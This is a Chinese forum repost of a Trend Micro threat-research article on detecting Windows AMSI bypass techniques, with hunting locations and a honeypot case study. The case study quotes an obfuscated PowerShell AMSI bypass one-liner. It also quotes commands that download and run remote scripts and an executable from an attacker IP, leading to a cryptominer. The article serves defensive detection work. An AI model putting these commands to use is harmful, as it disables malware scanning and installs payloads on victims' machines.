检测 Windows AMSI bypass 技术
英文原文:https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.htmlWindows 反恶意软件扫描接口 (AMSI) 是 Windows 中的一项不可知安全功能,它允许应用程序和服务与安装在计算机上的安全产品集成。微软于 2015 年推出,它提供了一个标准接口,允许解决方案扫描文件、内存和其他数据以查找威胁。这可以帮助工作负载和应用程序免受各种攻击,包括可用于破坏系统的恶意脚本和恶意软件。
它是如何工作的
当应用程序或服务请求扫描时,请求将发送到 AMSI 提供程序,这通常是安装在系统上的安全解决方案。然后,AMSI 提供程序使用自己的恶意软件检测算法去执行扫描,并将结果返回给请求的应用程序或服务。由于 AMSI 接口的设计具有高度可扩展性,因此安全解决方案可以根据需要添加新的扫描功能。
在撰写本文时,AMSI 可以扫描 Windows 的以下组件:
[*]用户帐户控制 (UAC) 提升请求 (来自 Windows 10 v.1507)
[*]PowerShell (大于 2.0)
[*]Windows 脚本 Host
[*]JavaScript 和 VBScipt
[*]宏 (VBA)
[*]Excel 宏
[*].NET 框架
[*]Windows 管理规范 (WMI)
测试 AMSI
有多种方法可以测试 AMSI 是否在机器中正常工作,一种方法是使用已知检测到的恶意软件样本或已知测试字符串。
另一种技术是通过以下测试在终端上使用它:
[*]打开 Windows PowerShell
[*]输入任务列表 /m amsi*
[*]输入 tasklist /m TmAMSIProvider* 以查找安全解决方案提供商,在安全解决方案具有多个产品的特定情况下,模块的名称可能因部署的产品而异。
绕过 AMSI
绕过 AMSI 的技术主要由安全研究人员和渗透测试人员使用,然而,近年来,网络犯罪分子滥用了这一点,并将该方法作为恶意软件例程中的一项功能,以逃避检测,从而使他们能够在受害者的计算机上持续运行。在 AMSI 之前,事实证明检测无文件威胁很困难。以前记录的用于实现 AMSI 绕过的方法是:
[*]混淆或加密
[*]PowerShell 降级
[*]Hooks and unhooks
[*]内存补丁
[*]强制错误
[*]注册表修改
[*]DLL 劫持
[*]反射
绕过 AMSI 的整个主题很复杂,但目标是在某个时刻打破 AMSI "链条"。AMSI 链的基本块主要由三个组件组成:数据提供程序、amsi.dll 和 AMSI 提供程序。根据绕过 AMSI 的方法列表,我们可以看到检测的难度会有所不同,并且取决于机器的可用功能。
手动查找 AMSI bypass
分析师可以在以下区域中或通过以下区域寻找绕过 AMSI 的过程:
[*]注册表
[*]HKLM\SOFTWARE\Microsoft\AMSI\Providers\*\Microsoft\Windows Script\Settings\AmsiEnableCOM Hijacking
[*]代码执行 (例如模式、文件名和函数名等)
[*]PowerShell 2.0
[*]AmsiInitialize + VirtualProtect
[*]GetProcAddress + VirtualProtect
[*]LoadLibrary + 任何 AMSI 或相关 DLL
[*]内存
[*]AMSI 和相关的 DLL (通过 amsi.dll 劫持 DLL)
[*]各种 Hook
实际攻击中的 AMSI bypass
观察真实攻击中的 AMSI 绕过,我们还发现它们作为有效载荷、进程注入和挖矿配置可能会根据部署时间和目标而有所不同。以下是它如何用于我们的一个云蜜罐的妥协示例:
[*]初始访问后,执行 PowerShell 脚本
[*]powershell "IEX(New-Object Net.WebClient).DownloadString('hxxp://89.34.27.167/lol.ps1')"[*]AMSI bypass
::WriteInt32(.Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)[*]基于系统架构的下载器执行
$cc = "http[:]//89.34.27.167"
$is64 = (((Get-WmiObject -Query "select AddressWidth from Win32_Processor")).AddressWidth -eq 64)
$dst="$env:TMP\networkservicess.exe"
(New-Object Net.WebClient).DownloadFile("$cc/ps1-6.exe", "$dst")
Start-Process "$dst"-windowstyle hidden[*]使用 ps1-6[.]exe 将额外的有效载荷加载到内存中
[*]该进程的有效负载转换为注入器,在 InstallUtil.exe 进程上执行进程挖空
[*]这以 XMRig 加密货币挖矿部署和设置的完整有效载荷下载结束
使用 Trend Micro Vision One™ 检测 AMSI bypass
我们研究了 AMSI bypass 的一些实施以及 Trend Micro Vision One™、Trend Micro Cloud One™- Workload Security 和 Trend Micro Apex One™ 启用的可见性,以减轻已知和未知规避方法带来的风险。使用从工作负载和终端记录的尝试指标和属性,这些解决方案和平台允许安全团队和分析师更广泛地了解攻击尝试,以便立即做出可操作的响应。
作为用于伴随其他组件和进程的工具,用于选择 AMSI bypass 的观察到的攻击技术 (OAT) 将事件确定为可疑并需要进行调查。绕过的 OAT 结果被归类为 "高严重性",并立即检查相关组件和事件的端点,作为分析证据的一部分。
尽管绕过检测不限于提到的示例或产品,但安全团队和解决方案可以在其他领域检测它们,例如 AMSI 注册表、命令执行、文件更改或提供程序操作。借助 Trend Micro Vision One 的跟踪,团队和分析师可以在调查期间获得增强的可见性,以获得协调一致的视角,以交叉关联来自不同产品和检测工具的检测。
结论
作为威胁情报和分析工具,AMSI 是安全研究人员和分析师提高终端执行可见性的重要信息来源,特别是用于检测以前被认为不可见的恶意活动 (例如无文件威胁)。在 AMSI 之前,组件未被扫描并依赖于传统形式的检测,例如通过哈希、模式或启发式分析进行文件扫描。借助 AMSI,这些已识别的 Windows 组件被集成并自动通过此安全功能进行扫描,从而使安全分析师、研究人员和团队能够更好地检测 Windows 环境中的恶意组件和进程。更好地检测无文件攻击还可以通过大规模分析特定遥测数据,提高对同时发生的相关事件的洞察力。
考虑到这一点,攻击者在任何时候绕过 AMSI 链,无论是从操作系统端还是从安全解决方案提供商都可能影响安全检测、分析和发现 (以及最终的优先级和事件响应),因为在调查,随着恶意软件感染和危害系统的攻击越来越复杂,安全解决方案被绕过的风险和绕过单层的不明威胁反过来增加了组织的风险和影响。建议安全团队考虑允许所有事件和组件完全可见的平台,为它们提供短期和长期资源的相关性和优先级。
IOCs
URLs
http[:]//89.34.27[.]167/ps1-6.exeMalware accomplice
Http[:]//89.34.27[.]167/lol.ps1
http[:]//89.34.27[.]167/xx.xmlDisease vector
MITRE ATT&CK
绕过 AMSI 这个厉害了
页:
[1]